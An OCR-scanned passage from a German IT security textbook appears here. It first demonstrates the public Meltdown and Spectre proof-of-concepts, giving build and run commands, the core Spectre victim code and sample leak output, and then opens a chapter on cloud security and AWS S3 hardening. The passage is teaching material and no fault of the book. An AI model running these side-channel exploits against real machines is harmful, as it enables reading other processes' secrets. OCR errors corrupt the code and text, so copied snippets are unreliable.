laufig zu einer geringeren Geschwindigkeit. Ob und wie stark die Verlangsamung
splrbar wird, hdngt stark von der Hardware (also dem jeweiligen CPU-Modell) sowie
von der laufenden Software ab.

Proof of Concept (Meltdown)

Eine Reihe von PoCs (Proof of Concepts) von Meltdown finden Sie auf GitHub unter
https://github.com/IAIK/meltdown. Die dort priasentierten Programme lassen sich
einfach unter Linux kompilieren und ausfithren:

git clone https://github.com/IAIK/meltdown.git
cd meltdown
make

Das folgende Programm testet den grundlegenden Speicherzugriff. Sollten Sie nicht
die erwartete Antwort sehen, so unterstiitzt Thre CPU den Mechanismus nicht, und
die anderen Beispiele werden auch nicht funktionieren. Mit dem taskset-Kommando
wird die Ausfihrung eines Programms an eine CPU gebunden.

taskset 0x1 ./test
Expect: If you can read this, at least the
configuration is working
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Got: If you can read this, at least the
configuration is working

Linux hat ab der Kernelversion 4.12 KASLR (Kernel Space Layout Randomization) akti-
viert. Die Startadresse des gemappten physikalischen Speichers (Direct Physical Map)
im Kernel-Adressbereichs andert sich mit jedem Neustart. Das folgende Demopro-
gramm kann aber die geheime, randomisierte Adresse herausfinden:

taskset 0x1 ./kaslr [+] Direct physical map offset: Oxffff880000000000

Die nachste Demo versucht nun, die Zuverlassigkeit des Auslesevorgangs zu ermit-
teln. Nachdem es sich bei der Seitenkanal-Attacke um eine Timing-Analyse handelt,
kann das Ergebnis hier variieren:

taskset 0x1 ./reliability Oxffff880000000000
[-] Success rate: 99.93% (read 1354 values)

Sie konnen nun versuchen, die Daten von einem anderen Prozess zu lesen. Dazu star-
ten Sie secret, um die Speicheradresse eines Strings in Prozess A zu ermitteln.

./secret
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret

In einem zweiten Fenster starten Sie nun den Leseangriff, um Daten aus dem Speicher
von Prozess A zu lesen:

taskset 0x1 ./physical reader 0x390fff400 Oxffff880000000000
[+] Physical address : 0x390fff400
[+] Physical offset : Oxffff880000000000
[+] Reading virtual address: Oxffff880390fff400

If you can read this, this is really bad

Die letzte Demo fullt mittels memory filler im Prozess A einen grofien Speicherbe-
reich (9 GByte) mit lesbaren Strings und versucht, diese Daten mit memdump in einem
anderen Prozess zu lesen:

memory filler 9

Starten Sie nun memdump in einem zweiten Fenster, wobei die Startadresse 9 GB lautet
(0x240000000):

taskset 0x1 ./memdump 0x240000000 Oxffff880000000000

240001c9f: |00 6d 00 00 ... 00 00 00| .M.uuueeenennn... |
24000262F:]00 7d 00 00 ... 00 00 00].}.eevvueennn... |
24000271€:]00 00 00 00 ... 6€ 20 75|.ueuennn.... en ul
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24000272F:]73 65 72 20 ... 20 6b 65|ser space and ke
24000273f:]72 6e 65 6Cc ... 6f 20 74|rnelWelcome to t]
24000298f:]00 61 72 79 ... 75 73 65|.ary between use]|
24000299f:]72 20 73 70 ... 65 72 6e|r space and kern|
2400029af: |65 6¢c 42 75 ... 72 65 61|elBurn after rea]
2400029bf: |64 69 6e 67 ... 69 6e 67|ding this string|
240002dcf:]00 00 00 00 ... 00 00 C8|.uvuvuuueenennnn.. |
Spectre

Spectre benotigt im Gegensatz zu Meltdown kein Kernel-Mapping und kann des-
halb auch nicht mit KAISER oder KPTI verhindert werden. Spectre verwendet ebenso
einen spekulativen Ansatz, setzt hier aber nicht auf Exceptions, sondern auf bedingte
Springe, die nicht ausgefiihrt werden. Die sogenannte Branch Prediction oder speku-
lative Ausfiihrung optimiert wieder die Performance, indem Kommandos schon vor
einer Entscheidung ausgefiihrt werden.

Ist die Entscheidung im Nachhinein anders ausgefallen, so muss die zuvor durch-
gefiihrte Berechnung (transiente Kommandos) verworfen und die Programmaus-
fihrung an einem gespeicherten Sicherungspunkt fortgesetzt werden. War die Ent-
scheidung richtig, so wurden die bendtigten, nachfolgenden Kommandos bereits
ausgefihrt, was grofie Performance-Vorteile bringt.

Die Auswahl von bestimmten transienten Befehlen ermoglicht nun die Extraktion
von Daten, auf die sonst kein Zugriff moglich ware. So konnte beispielsweise ein in
einer Webseite eingebauter JavaScript-Code den gesamten Speicher des Webbrowsers
auslesen und an vertrauliche Informationen von anderen Webseiten oder Passworter
etc. gelangen.

Der Sandbox-Schutzmechanismus des Browsers ist dabei wirkungslos. Spectre bringt
ein Zielprogramm dazu, spekulative Operationen auszufithren und vertrauliche
Informationen im Cache, die im realen Programmablauf schon wieder als ungiil-
tig verworfen wurden, Uiber einen Seitenkanal an den Angreifer zu tibermitteln. Die
Detailbeschreibung zu Spectre finden Sie hier:

https.//spectreattack.com/spectre.pdf

Proof of Concept (Spectre)

Ein Proof of Concept von Spectre findet sich auf GitHub und lasst sich einfach unter
Linux kompilieren:

git clone https://github.com/crozone/SpectrePoC.git

make
cc -std=c99 -o spectre.out spectre.c
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Das folgende Programmfragment zeigt die zentralen Teile des Beispiels. Die Variable
secret zeigt auf einen geheimen String im eigenen Speicherbereich des Programms.
Ziel des Beispiels ist es, den String von einer anderen Stelle im Programm mittels
spekulativer Execution und einer Seitenkanal-Attacke aus dem Cache zu lesen.

unsigned int arrayl size = 16;
uint8 t arrayi[16] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8 t array2[256 * 512];

char xsecret = "The Magic Words are Squeamish Ossifrage.";

size t malicious x = (size t)(secret - (char % ) arrayl);

uint8 t temp = 0;

void victim function(size t x) {
if (x < arrayl size) {
temp &= array2[arrayl[x] * 512];
}
¥

Die Variable malicious x enthdlt die Differenz zwischen secret und der Start-
adresse von arrayl. Im ersten Schritt des Angriffs ruft das Programm die Funktion
victim function sehr oft mit Werten von x aus dem Bereich von 0 bis 15 auf. Damit
lernt die Branch Prediction, dass die Bedingung x < arrayl size meistens zutrifft.

Dann wird die Funktion mit x = malicious x aufgerufen. Die Funktion wird spekula-
tiv, aufgrund der gelernten Branch Prediction, ausgefiihrt. (arrayl size darf sich zu
diesem Zeitpunkt nicht im Cache befinden.) Die Array-Grenze von arrayl wird durch
einen zu groflen x-Wert Uberschritten, und es werden 512 Bytes beginnend mit der
Startadresse von secret in den Cache geladen.

Der richtige Wert von arrayl size wurde in der Zwischenzeit aus dem Speicher gela-
den. Nun stellt der Prozessor fest, dass die spekulativ ausgefiihrten Programmzeilen
zu verwerfen sind. Allerdings liegen die Daten bereits im Cache und konnen durch
eine Seitenkanal-Attacke von dort extrahiert werden.

Der Seitenkanal ist zeitbasiert. Das folgende Beispiel zeigt die Ausfiihrung des Demo-
codes in einer virtuellen Kali-Linux-Maschine. Ein Grofiteil der Daten konnte korrekt
aus dem Cache gelesen werden.
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make

./spectre.out 90
Using a cache hit threshold of 90.
Reading 40 bytes:
Reading at Oxffffffffffdfed48... Success: 0x54='T' score=15
Reading at Oxffffffffffdfed49... Success: 0x68='h' score=7
Reading at Oxffffffffffdfed4a... Success: 0Ox65='e' score=2
Reading at Oxffffffffffdfed4b... Unclear: 0x20=' ' score=51
Reading at Oxffffffffffdfed4c... Unclear: OxO0A='?"' score=40
Reading at Oxffffffffffdfeddd... Unclear: Ox6l='a' score=43
Reading at Oxffffffffffdfedde... Unclear: O0x67='g' score=44
Reading at Oxffffffffffdfed4af... Unclear: Ox0A='?"' score=35
Reading at Oxffffffffffdfed50... Success: 0x63='c' score=41
Reading at Oxffffffffffdfed51... Unclear: Ox0A='?' score=35
Reading at Oxffffffffffdfed52... Unclear: 0x57='W' score=39
Reading at Oxffffffffffdfed53... Success: Ox6F='o' score=2
Reading at Oxffffffffffdfed54... Unclear: 0x72='r' score=57
Reading at Oxffffffffffdfed55... Unclear: Ox64='d"' score=42
Reading at Oxffffffffffdfed56... Unclear: Ox0A='?' score=41
Reading at Oxffffffffffdfed57... Unclear: OxO0A='?"' score=36
Reading at Oxffffffffffdfed58... Unclear: OxO0A='?' score=39
Reading at Oxffffffffffdfed59... Success: 0x72='r' score=2
Reading at Oxffffffffffdfed5a... Unclear: Ox65='e' score=48
Reading at Oxffffffffffdfed5b... Unclear: 0x20=' ' score=51
Reading at Oxffffffffffdfed5c... Success: 0x53='S"' score=2
Reading at Oxffffffffffdfed5d... Unclear: 0x71='q"' score=45
Reading at OxffffffffffdfedSe... Unclear: O0x75='u' score=39
Reading at Oxffffffffffdfed5f... Unclear: Ox65='e' score=37
Reading at Oxffffffffffdfed60... Unclear: Ox6l='a' score=35

Als erste Gegenmafinahmen haben Webbrowser-Hersteller die Genauigkeit der
Zeitauflosung verringert, um den Seitenkanal einzuschranken. Webbrowser stellen
flr Spectre eine interessante Zielplattform dar, weil der fir den Angriff benotigte
JavaScript-Code einfach von einer Webseite geladen werden kann.
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Kapitel 18
Sicherheit in der Cloud

Immer mehr Firmen/Organisationen lagern Daten in die Cloud aus. Das ist aus
mehreren Griinden bequem: Die Daten sind unkompliziert auf allen erdenklichen
Geréten zuganglich (vom Notebook bis zum Smartphone), viele administrative Auf-
gaben in der Wartung entfallen, die Kosten sind tiberschaubar und oft sogar geringer
als bei On-Premise-Losungen.

Allerdings gehen mit dieser Strategie neue Sicherheitsrisiken einher: Sie verlieren die
Kontrolle tiber Thre Daten und liefern sich in mehrerlei Hinsicht externen Anbietern
aus: Ist sichergestellt, dass die Daten beim Cloud-Anbieter nicht verlorengehen kon-
nen (z. B. bei einem Hardware-Defekt oder Brand)? Ist sichergestellt, dass Sie jederzeit
Zugriff auf betriebskritische Daten haben, z. B. bei einem Netzwerk-/Internetausfall?
Ist garantiert, dass die Daten nicht in fremde Hande kommen kénnen?

Aus Hacker-Sicht er6ffnen sich mit dem weitverbreiteten Cloud-Einsatz ganz neue
Angriffstechniken. Plakativ formuliert: Wozu soll sich ein Hacker die Mithe machen,
Rechner oder Smartphones einer Firma anzugreifen, wenn alle relevanten Daten
ohnedies in der Cloud abzuholen sind? (Ganz so einfach ist es in der Praxis zum Gliick
doch nicht...)

Aus der Sicht des Administrators oder Sicherheitsverantwortlichen stellen sich mit
der Absicherung ausgelagerter Daten neue Herausforderungen. Aktuell gibt es aber
durchaus nicht fiir jedes Problem eine perfekte Losung oder Empfehlungen.

Dieses Kapitel gibt zuerst einen Uberblick iiber Cloud-Techniken, -Anbieter und
-Risiken und formuliert einige allgemeine Empfehlungen. AnschlieRend werden wir
konkret zwei Cloud-Systeme behandeln: einerseits Amazon Web Services (AWS) S3,
andererseits die Open-Source-Programme Nextcloud und ownCloud. In Kapitel 19
wird dann mit Office 365 das wichtigste Cloud-Angebot von Microsoft im Mittelpunkt
stehen; es integriert eine Menge Dienste unter einem Dach.

18.1 Uberblick

Der Begriff Cloud bezeichnet das Angebot von IT-Diensten auf externen Servern.
Der Cloud-Anbieter kiimmert sich um die Administration von mitunter Tausenden
von Server in riesigen Rechenzentren. Die Cloud-Nutzer bemerken davon nichts. Sie
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nutzen die Angebote Uber eine Webseite oder Uber einfach zu bedienende Pro-
gramme bzw. Apps. Nach auflen hin prasentiert sich die Cloud somit als Black Box.

Freilich gibt es nicht die Cloud. Vielmehr sind die Angebote in Ihrer Funktionalitat
sehr breit gestreut, wobei die meisten Cloud-Firmen mehrere oder alle Varianten offe-
rieren:

» Datenspeicher: Die Cloud-Funktionen, auf die wir uns in diesem Buch konzentrie-
ren, dienen in erster Linie zur Speicherung von Daten in verschiedensten Formen:
als Office-Dokumente, Mails oder in Form simpler Dateien.

» Virtuelle Maschinen (IaaS = Infrastructure as a Service): Bei einigen Cloud-Anbie-
tern, insbesondere bei Amazon, konnen Sie virtuelle Server mieten. In diesem
Fall ibernehmen Sie selbst die Administration der Serverinstallation. Der Cloud-
Anbieter stellt in diesem Fall nur die Infrastruktur zur Verfligung, aber keine fertige
Software. Diese Art von Cloud-Nutzung ist eine Alternative zur Miete von Root-
Servern bei einem Hosting-Provider. Der entscheidende Cloud-Vorteil liegt hier in
der fast unbegrenzten Skalierbarkeit: Sie konnen Ihre virtuellen Server bei Bedarf
mit mehr CPU-Leistung, RAM und Speicherplatz aufriisten und zahlen nur dafiir,
was Sie aktuell wirklich brauchen. (Tatsachlich sind die Preismodelle der meisten
Cloud-Anbieter sehr komplex, was eine klare Kalkulation im Voraus erschwert.)

» Services und Datenbanken (PaaS/Saa$S = Platform/Software as a Service): Schlief3-
lich gibt es diverse Angebote fiir spezielle IT-Dienste, die sich an Programmie-
rer und Administratoren richten. Sie konnen damit Docker-Instanzen ausfiihren,
Datenbanken einrichten etc. Zur Nutzung dieser Dienste verwenden Sie spezielle
APIs (Application Programming Interfaces).

Der aktuell grofite Cloud-Anbieter ist Amazon. Dessen Amazon Web Services (AWS)
decken nicht nur alle erdenklichen Funktionen ab, sie dienen oft auch anderen
Cloud-Firmen als Basis. Beispielsweise verwendete Dropbox viele Jahre lang AWS als
Datenspeicher. 2016 gab Dropbox bekannt, alle Daten von Amazon in eine eigene
Cloud-Infrastruktur Ubersiedelt zu haben. Dropbox-Kunden hatten diesen techno-
logisch durchaus spannenden Prozess gar nicht bemerkt. Auch Apple speichert
iCloud-Daten durchaus nicht nur in eigenen Rechenzentren, sondern greift auch auf
Cloud-Dienste von Amazon, Google und Microsoft (Azure) zuriick.

Argumente fiir die Cloud

Der Siegeszug der Cloud hat ohne Zweifel mit seiner einfachen, bequemen Nutzung
zu tun: Der Uiber alle Gerdte komfortabel zu nutzende Mailclient (Google), analoge
Features samt Kollaboration fiir Office-Dokumente (Microsoft), der bequeme Zugriff
auf Fotos und andere Dateien (Dropbox), die Synchronisierung von Fotos, Mails und
Musik im Apple-Universum (iCloud) — im Vordergrund steht fiir Privatanwender
immer die Bequemlichkeit.
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Firmen wird die Cloud mit anderen Argumenten verkauft: Es sei sowohl billiger als
auch sicherer, die IT-Infrastruktur in die Cloud auszulagern. Tatsachlich ist diese
Argumentation oft schlissig: Gerade kleinere Firmen und Organisationen sind in
der Tat oft iiberfordert, ihre eigenen Server zu warten, regelmaflig Hard- und Soft-
ware zu aktualisieren und korrekt zu konfigurieren. Gute Administratoren sind kaum
zu finden und kosten viel Geld. Die Zentralisierung der Infrastruktur durch einen
Cloud-Anbieter ist da durchaus eine attraktive Losung, ein »Rundum-sorglos-Paket«
gewissermafien.

Cloud-Risiken und -Angriffsvektoren

Freilich ist nicht alles Gold, was glanzt. Mit der Cloud-Nutzung sind neue Risiken ver-
bunden, eréffnen sich neue Angriffsmoglichkeiten:

» Phishing: Der Zugriff auf die Cloud-Daten einer Person, eines Mitarbeiters einer
Firma etc. ist in aller Regel durch zwei Daten abgesichert: Die Mailadresse und ein
dazugehorendes Passwort. Fiir einen Angreifer ist es in der Regel leicht, die Mail-
adresse herauszufinden. Damit verbleibt das Passwort oft die einzige Hurde, die
ein Hacker tiberwinden muss.

Die meisten Cloud-Dienste blockieren den Zugriff nach wiederholten Login-
Versuchen mit falschen Daten. Insofern ist flir den Angreifer Phishing oft der
erfolgversprechendste Ansatz. Denkbar ist aber auch der Diebstahl oder Zugriff auf
ein Gerat, auf dem Cloud-Passworter gespeichert sind, also beispielsweise ein Note-
book eines Mitarbeiters.

Wenn Cloud-Dienste automatisiert durch eigene Software genutzt werden, kom-
men anstelle von Passwortern meist Schliisseldateien zum Einsatz. Ein Angreifer
wird, wenn er dazu die Moglichkeit hat, auf Ihren Servern oder in Ihren Backups
nach diesen Dateien suchen.

» Unbeabsichtigt 6ffentlicher Zugang auf Daten: Die haufigsten Cloud-Pannen der
vergangenen Jahre hatten interessanterweise damit zu tun, dass aufgrund einer
Fehlkonfiguration an sich vertrauliche Dateien (z.B. Backups) offentlich auf der
Cloud herumlagen. Die Dateien sind dort oft schwer zu finden, weswegen solche
Pannen oft lange unbemerkt bleiben. Insofern ldsst sich spater oft schwer sagen,
wie grof? der Schaden ist, d. h. wer die Dateien gefunden und heruntergeladen hat.

» Der Geheimdienst liest (vermutlich) mit: Seit den Snowden-Enthiillungen muss
man davon ausgehen, dass sich verschiedene Geheimdienste trotz heftigen Wider-
stands der Cloud-Firmen Zugriff auf die grof3en Cloud-Datenspeicher verschaffen
konnen oder diesen Zugriff bereits haben. Gerade bei auslandischen Diensten
spielt es fiir den Nutzer wohl keine Rolle, ob dies tiber gesetzlich definierte und
erlaubte Schnittstellen oder quasi in Form von illegalen Angriffen geschieht.
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Wahrend solche Zugriffe fur private Urlaubsfotos meist unerheblich sind, gilt dies
nicht fur firmeninterne Dokumente. Etliche Cloud-Anbieter bieten inzwischen die
Maoglichkeit an, Daten in europédischen Rechenzentren abzulegen. Damit gelten die
strengeren EU-Datenschutzgesetze. Ob das am Grundproblem irgendetwas dndert,
darf bezweifelt werden.

» Traditionelles Network Hacking: Auch wenn die Cloud als Black Box wahrgenom-
men wird, besteht sie doch aus unzdhligen einzelnen (Linux-)Servern. Jeder davon
ist mit den klassischen Methoden des Network Hackings angreifbar. Aus Hacker-
Sicht ist diese Vorgehensweise nicht Ubermafiig attraktiv: zum einen, weil die
Cloud-Infrastruktur in der Regel besser gewartet und geschiitzt ist als sonstige
Server, zum anderen, weil schwer vorhersehbar ist, welche Daten sich auf einem
bestimmten Server befinden. Was nutzt ein erfolgreicher Angriff, wenn sich dann
herausstellt, dass auf dem Server nur irgendwelche YouTube-Videos gespeichert
sind? Andererseits kann ein erfolgreicher Angriff der Startpunkt flr eine grofRere
Attacke sein.

» Ausbruch aus virtuellen Maschinen: In der Vergangenheit wurden immer wie-
der Schwachstellen in Virtualisierungssystemen bekannt, die es einer virtuellen
Maschine ermoglichen, aus ihrem »Kafig« auszubrechen und Daten des Host-
Systems oder anderer virtueller Maschinen zu lesen. Vor diesem Szenario flirchten
sich speziell IaaS-Provider. Aus Hacker-Perspektive ist dieser Angriffsvektor frei-
lich selten vielversprechend: Es ist nicht vorhersehbar, welche anderen virtuellen
Maschinen auf einem Host laufen. Statistisch gesehen ist es dufierst unwahrschein-
lich, dass ein interessantes Angriffsziel dabei ist.

Empfehlungen

Es ist niemandem gedient, wenn wir hier die Cloud generell verteufeln. Sie miissen
sich aber tiber die Risiken im Klaren sein, denen Sie sich mit der Cloud-Nutzung aus-
setzen. Bevor wir in den weiteren Abschnitten bzw. im nachsten Kapitel konkret auf
einige Cloud-Dienste eingehen, noch ein paar allgemeine Empfehlungen:

» Schulung: Machen Sie Ihren Mitarbeitern die Risiken der Cloud-Nutzung klar.
Diese nichttechnische Mafdnahme ist vermutlich wirksamer als alle anderen Emp-
fehlungen zusammen!

» Verschliisselung: Nach Moglichkeit sollten Sie alle privaten bzw. firmeninternen
Dateien, die Sie bei einem groflen Cloud-Anbieter ablegen, selbst verschliisseln.
(Eine cloudseitige Verschliisselung, bei der der Private Key in den Hénden des
Cloud-Unternehmens bleibt, ist sicherheitstechnisch weitgehend wertlos.)

Dieser Empfehlung kénnen Sie relativ leicht folgen, wenn Sie die Cloud im Rah-
men eines automatisierten Backup-Systems als Datenspeicher verwenden. Nahezu
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unmoglich ist dies aber, wenn die Cloud dabei helfen soll, dass mehrere Mitar-
beiter gemeinsam Dokumente austauschen und bearbeiten (Dropbox, Office 365,
OneDrive, Google Drive etc.). In solchen Fillen kdnnen selbst verwaltete Cloud-
Speicher (Nextcloud) eine Variante sein.

» Cloud-Abhéngigkeit: Machen Sie den Betrieb Ihrer Firma nicht vollstandig von der
Cloud abhidngig! Es mussen gar keine Sicherheitsprobleme sein, die dazu fiihren,
dass Ihr Unternehmen plotzlich den Zugriff auf die eigenen Daten verliert. Es kon-
nen auch ganz triviale Pannen sein, z. B. ein Problem bei der Internetversorgung.

Bedenken Sie auch, dass der internationale Internetverkehr von relativ wenigen
Tiefseekabeln abhidngig ist. Was wire, wenn einige Kabel durch ein Seebeben, durch
Sabotage oder durch kriegerische Handlungen zerstort wiirden und Ihre Cloud-
Daten sich am anderen Ende dieser Kabel befdnden? (Die Internetprotokolle sind
sehr flexibel konzipiert, das heifit, der Datenaustausch kommt mit dem Ausfall von
einem oder zwei Kabeln nicht gleich zum Erliegen. Aber die Transferdaten wiirden
sinken, die Reaktionszeiten steigen. Transatlantische Cloud-Losungen waren plotz-
lich spiirbar langsamer, eine komfortable Nutzung wére nicht mehr moglich.)

» Richtige Konfiguration: Achten Sie auf die korrekte Konfiguration Ihrer Cloud-
Dienste. Bei der Inbetriebnahme liegt das Hauptaugenmerk oft darauf, die Cloud-
Dienste iberhaupt zum Laufen zu bringen. Kontrollieren Sie hinterher, dass ein
offentlicher Zugang zu den Daten unmoglich ist, dass die Zugangsschlussel sicher
verwahrt werden etc. Hier ist das Geld fiir eine externe Beratung oft gut investiert;
die eigenen Administratoren sind oft betriebsblind.

» Up to date: Wenn Sie eine eigene Cloud-Losung auf der Basis von ownCloud oder
Nextcloud einsetzen, ist es sehr wichtig, die Software stets auf dem aktuellen Stand
zu halten!

18.2 AmazonS3

Der Simple Storage Service (S3) zahlt zu den populérsten Cloud-Angeboten von Ama-
zon. In S3 speichern Sie Dateien, wobei es aber zwei grundverschiedene Anwendungs-
szenarien gibt:

» S3 als Webserver-Erganzung: Die eine Variante besteht darin, dass S3 den eigenen
Webserver oder andere Dienste unterstitzt. Auf S3 werden zumeist grofde Dateien
(Handbiicher, Videos etc.) gespeichert. Die eigene Website oder eine App nutzt
dann Links auf diese S3-Dateien. Der Vorteil dieser Vorgehensweise besteht darin,
dass die eigene Serverinfrastruktur entlastet wird. S3 kann grof3e Dateien beliebig
vielen Nutzern zur Verfiigung stellen und skaliert dabei besser als ein eigener Ser-
ver, vor allem dann, wenn die Lastverteilung stark schwankt.
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» S3 als Daten-Safe: Genau umgekehrt sieht die zweite Nutzungsvariante aus: S3
wird verwendet, um private oder firmeninterne Dateien dauerhaft zu speichern,
oft im Sinne eines Backups. S3 ist dabei moglicherweise nicht der einzige Backup-
Ort, sondern im Sinne einer hohen Redundanz einer von mehreren.

Naturgemaf? sind die Konfigurationsanforderungen ganz unterschiedlich: Wahrend
die Dateien im ersten Fall iiber URLs 6ffentlich zugéinglich sein miussen, sollen sie im
zweiten Fall moglichst gut abgesichert und nur nach einer Identifizierung erreichbar
sein. Dieser Gegensatz war in der Vergangenheit die Ursache vieler Sicherheitspan-
nen: Standardmafiig war S3 flir die 6ffentliche Nutzung konfiguriert. Wer S3 anders
einsetzte, musste selbst daran denken, die Konfiguration zu dndern.

Dieses Problem hat Amazon natiirlich ldngst erkannt: Wenn Sie in der S3-Webkonsole
einen neuen Bucket einrichten (also einen neuen Speicher, wortlich einen Eimer),
dann ist dieser standardméfig nicht 6ffentlich (siehe Abbildung 18.1). Kunden, die in
der Vergangenheit einen (damals per Default) 6ffentlichen Bucket eingerichtet hat-
ten, benachrichtigte Amazon per Mail und fragte nach, ob der 6ffentliche Charakter
tatsachlich beabsichtigt war.

Create bucket

jon (@) Set properties (@) set permissions

Manage users

User ID Objects Object permissions

s=miOwner) Read [ Write [ Read [ Write

Access for other AWS account + Add account

Account Objects Object permissions
Manage public permissions

Do not grant public read access to this bucket (Recommended) —

Manage system permissions

Do not grant Amazon S3 Log Delivery group write access to this bucket v

Abbildung 18.1 Neue »Buckets« sind standardmaRig nicht 6ffentlich.

Selbst in offentlichen Buckets sind neue Dateien nicht sofort frei zuginglich. Viel-
mehr mussen auch die Dateien markiert werden. Das kann in der Konsole erfolgen
(Button MAKE PUBLIC), bei der Ubertragung (aws s3 cp ... --acl public-read) oder
global durch Policy-Regeln, die flir den gesamten Bucket oder einzelne Verzeichnisse
davon gelten.
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Sichere Bucket-Namen

Alle S3-Bucket-Namen missen weltweit eindeutig sein. Fiir die Namensgebung gel-
ten Regeln wie fiir Hostnamen. Daher sind keine GroBbuchstaben und nur ganz
wenige Sonderzeichen erlaubt (. und - sowie ).

Diese Regeln legen es nahe, Bucket-Namen dem eigenen Domainnamen nachzubil-
den, also z.B. meine-firma.de oder meine-firma.backup. Das hat aber den Nachteil,
dass solche Namen relativ leicht erraten werden konnen. Sicherer sind zufallige Zei-
chenketten in der Art gsjad3242.

Basisabsicherung in der Konsole

Die Steuerung aller AWS-Funktionen inklusive S3 erfolgt tiber eine Webkonsole. Nach
dem Einrichten eines neuen S3-Accounts gibt es nur einen Benutzer. Dieser hat unbe-
schrankte Rechte; der ihm zugeordnete Schlissel gibt Zugriff auf alle via S3 verwaltete
Dateien.

Amazon empfiehlt, nun in der Konsole das Identity and Access Management (IAM)
zu nutzen, um mehrere Benutzer einzurichten. Dabei ist es zweckmaflig, zwischen
Benutzern zu differenzieren, die nur fir die Abrechnung und Buchhaltung zustiandig
sind, und solchen, die iber APIs oder Kommandos Zugriff auf die in S3 gespeicherten
Daten haben. Ein fiir den Download der Rechnungen zustandiger Benutzer bekommt
keinen Zugriff aufalle Daten! Beachten Sie, dass die Passworter und Login-Formen fiir
beide Zugriffsvarianten vollkommen unterschiedlich verwaltet werden:

» API-Zugriff: Fir den Zugriff auf die API sowie das aws-Kommando wird jeder neue
Benutzer mit einer Access Key ID und einem Secret Key ausgestattet. Die Access
Key ID ist ein AWS-weit eindeutiger ID-Code zur Identifizierung des Benutzers. Der
Secret Key ist das dazugehorende Passwort. Es kann in der Konsole nur unmittelbar
nach dem Erzeugen des Benutzers angezeigt oder als CSV-Datei heruntergeladen
werden. Wenn Sie es verabsaumen, den Secret Key zu speichern, miissen Sie spéter
einen neuen Secret Key erzeugen. Das ist aber beliebig oft moglich.

» Zugriff auf die Konsole: Der Konsolen-Login kann durch eine Multifaktor-Authen-
tifizierung (MFA, genau genommen handelt es sich um eine 2FA) abgesichert
werden. Die Aktivierung dieser Option sollte eine Selbstverstandlichkeit sein!
Andernfalls kann das womoglich vom Webbrowser gespeicherte Login-Passwort
die Sicherheit der Cloud-Funktionen kompromittieren.

Als zweiter Faktor kommt wahlweise ein Hardware-Authentifizierungsgerat oder
eine App zur Generierung von One-Time Passwords in Frage (z.B. Google Authen-
ticator). In der Vergangenheit wurden auch SMS-Nachrichten als zweiter Faktor
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unterstiitzt; diese Variante steht aber beim Neueinrichten der 2FA nicht mehr zur
Auswahl.

Die Angst, den zweiten Faktor (z.B. Ihr Smartphone) zu verlieren, sollte Sie nicht
davor abhalten, 2FA zu verwenden! Amazon sieht fur diesen Fall ein klares Proze-
dere vor, wie Sie relativ unkompliziert wieder Zugang zu Ihrem Konto erlangen:

https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_lost-
or-broken.html

Nachdem Sie Benutzer eingerichtet und deren Funktion getestet haben, empfiehlt
Amazon, die dem Root-Benutzer zugeordneten Schliissel zu 16schen. Diese Schliissel
geben unbegrenzten Zugriff auf alle AWS-Ressourcen und stellen daher ein Sicher-
heitsrisiko dar. Es ist besser, wenn es mehrere Benutzer gibt, deren Schliissel gerade
ausreichen, um die vorgesehenen Arbeiten durchzufiihren. Wenn Sie alle Sicherungs-
mafinahmen durchgefiihrt haben, sollte die AWS-Konsole einen zufriedenstellenden
Sicherheitsstatus zeigen (siehe Abbildung 18.2).

? 1AM Management Console ~ x Michael

@ Sicher https://console.aws.amazon.com/iam/home#/home Y @ °
awg Services v Resource Groups v * » #= v  Global v Support v
« Welcome to Identity and Access Management Feature Spotlight
IAM users sign-in link:
Dashboard - T
) p signin.aws.amazon Customize | Copy Link
Groups sole Ui u
/) |
Users IAM Resources
Roles Users: 1 Roles: 0
Policies Groups: 1 Identity Providers: 0
Identity providers Customer Managed Policies: 0 < >
Account settings Security Status e s ot of 5 compiete,  +0CtiONAl Information
Credential report IAM best practices
v

Delete your root access keys |AM documentation

Encryption keys Activate MFA on your root account v Web Identity Federation
Playground
Create individual IAM users v Policy Simulator
Use groups to assign permissions v Videos, IAM release history
and additional resources
Apply an IAM password policy v

@ Feedback @ English (US) © 2008 - 2017, Amazon Web Services, Inc. or its affiliates. Al rights reserved.  Privacy Policy  Terms of Use

Abbildung 18.2 Die AWS-Konsole zeigt an, dass die Basisabsicherung erfolgreich war.

Das aws-Kommando

Innerhalb von Linux, Windows oder macOS greifen Sie tiber das aws-Kommando auf
die S3-Funktionen zu. Das Python-Tool installieren Sie wie folgt:

apt/dnf/yum install python3-pip
pip3 install awscli

854

18.2 Amazon S3

Installationsanleitungen fiir andere Plattformen finden Sie in der AWS-Doku-
mentation:

https.//docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html

Die Verbindung zu S3 erfolgt verschlisselt. Zum ersten Verbindungsaufbau fiihren
Sie im Terminal aws configure aus und geben nun die Access Key ID und den Secret
Access Key an, den Sie beim Einrichten des Benutzers erhalten haben. aws speichert
diese Daten und die weiteren Optionen in .aws/credentials und .aws/config.

aws configure

AWS Access Key ID [None]: AKXXXXXXX
AWS Secret Access Key [None]: XXXXXXXXXXXXXXXX
Default region name [None]: <Return>

Default output format [None]: <Return>

Nicht ganz einfach ist die korrekte Angabe der Region. Beim Anlegen neuer Buckets
konnen Sie wahlen, wo diese physikalisch gespeichert werden sollen. Fur S3-Kunden
in Deutschland ist Frankfurt der beste Ort. In welcher Form erwartet S3 nun aber
die Angabe der Region? Am besten ist es, die Region vorerst leer zu lassen. Anschlie-
end ermitteln Sie mit aws s3api get-bucket-location die Region, wiederholen aws
configure und setzen nun den Namen der Region ein.

aws s3api get-bucket-location --bucket meinefirma.erster.test
"LocationConstraint": "eu-central-1"

Mit diversen Kommandos der Art aws s3 <kommando> konnen Sie nun auf die S3-
Ressourcen zugreifen, Dateien hoch- und herunterladen (aws s3 cp), [0schen (aws s3
rm) usw. Eine detaillierte Beschreibung der Kommandos mit all ihren Optionen finden
Sie hier:

https://docs.aws.amazon.com/cli/latest/reference/s3/index.html

»credentials«-Datei

Fir die Sicherheit von S3 ist die Datei .aws/credentials im Benutzerverzeichnis bzw.
in /root entscheidend. Wenn es einem Hacker gelingt, diese Datei auszulesen, kann
er alle mit dem S3-User verbundenen Dateien lesen, I6schen etc. Entsprechend gut
sollten Sie die Datei hiiten und die Zugriffsrechte so restriktiv wie moglich einstellen.

